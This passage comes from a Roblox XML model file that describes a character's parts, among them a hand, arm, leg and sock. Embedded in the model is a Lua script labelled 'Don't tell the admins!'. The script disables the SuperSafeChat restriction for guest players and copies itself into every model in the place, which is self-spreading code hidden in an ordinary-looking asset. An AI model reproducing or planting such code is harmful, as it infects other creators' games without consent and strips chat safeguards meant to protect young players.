							<Vector3 name="Scale">
								<X>1.20000005</X>
								<Y>1</Y>
								<Z>1.20000005</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX274">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>52.777771</X>
							<Y>2.63591933</Y>
							<Z>16.4909668</Z>
							<R00>9.11920469e-018</R00>
							<R01>0.555570245</R01>
							<R02>-0.831469595</R02>
							<R10>3.42285418e-008</R10>
							<R11>-0.831469595</R11>
							<R12>-0.555570245</R12>
							<R20>-1</R20>
							<R21>-2.84599917e-008</R21>
							<R22>-1.901636e-008</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Hand</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX275">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.20000005</X>
								<Y>3</Y>
								<Z>1.20000005</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX276">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>52</X>
							<Y>3.79987741</Y>
							<Z>16.4909668</Z>
							<R00>0.831469476</R00>
							<R01>-0.555570185</R01>
							<R02>-9.11920469e-018</R02>
							<R10>0.555570185</R10>
							<R11>0.831469476</R11>
							<R12>-3.42285418e-008</R12>
							<R20>1.90163565e-008</R20>
							<R21>2.84599881e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX277">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.600000024</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX278">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Guest_Talking_Script</string>
						<string name="Source">--Farvei&apos;s totally awesome script that makes Guests talk
--Please give credit
--Don&apos;t tell the admins!
--Unnote the vaccine if you&apos;d like to remove all copies of this script in your place
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;Press the / key to start typing.&quot;;
			m.Parent = player;
			wait(5);
			m.Text = &quot;Then press Enter to send your message.&quot;;
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == &quot;Player&quot;) then
			checkForAndSwitch(obj);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;This Server Supports Talking Guests&quot;;
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == &quot;Model&quot;) then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

--[[function findAllCopies(obj)
	local c = obj:GetChildren();

	for i, v in pairs(c) do
		if (v.Name == script.Name and v.className == &quot;Script&quot; and v ~= script) then
			v.Parent = nil;
		elseif (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
			findAllCopies(v);
		end
	end
end

findAllCopies(game);

script.Parent = nil;]]</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX279">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Leg1</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX280">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>47.5</X>
							<Y>2.00015831</Y>
							<Z>16.4996338</Z>
							<R00>1</R00>
							<R01>1.44341631e-018</R01>
							<R02>1.44143183e-016</R02>
							<R10>-1.44342428e-018</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1.44143183e-016</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>4.38300706e-017</X>
							<Y>-5.7588823e-018</Y>
							<Z>8.61851061e-017</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>-4.74099991e-017</X>
							<Y>-0.0150171854</Y>
							<Z>2.36701206e-017</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX281">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX282">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">z91xw8</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX283">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ewt9qhk2</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX284">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">a9xb6w</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX285">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>47.5</X>
							<Y>0.900095999</Y>
							<Z>14.7909546</Z>
							<R00>1</R00>
							<R01>9.11920469e-018</R01>
							<R02>-1.37615361e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>3.42285418e-008</R11>
							<R12>1</R12>
							<R20>9.11920469e-018</R20>
							<R21>-1</R21>
							<R22>3.42285418e-008</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX286">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>47.5</X>
							<Y>2.40005136</Y>
							<Z>16.4909668</Z>
							<R00>-0.980784833</R00>
							<R01>-0.195090145</R01>
							<R02>-9.11920469e-018</R02>
							<R10>0.195090145</R10>
							<R11>-0.980784833</R11>
							<R12>-3.42285418e-008</R12>
							<R20>6.67765132e-009</R20>
							<R21>-3.3570835e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX287">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.600000024</X>
								<Y>1.5</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX288">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>47.5</X>
							<Y>1.40012074</Y>
							<Z>16.4909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Ring</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX289">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.20000005</X>
								<Y>1</Y>
								<Z>1.20000005</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX290">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>47.5</X>
							<Y>1.80016875</Y>
							<Z>16.4909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Sock</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX291">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Decal" referent="RBX292">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=6368030</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX293">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>47.5</X>
							<Y>1.00009131</Y>
							<Z>16.4909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX294">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>47.5</X>
							<Y>0.600093782</Y>
							<Z>15.9909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX295">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>47.5</X>
							<Y>1.00009131</Y>
							<Z>15.4909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
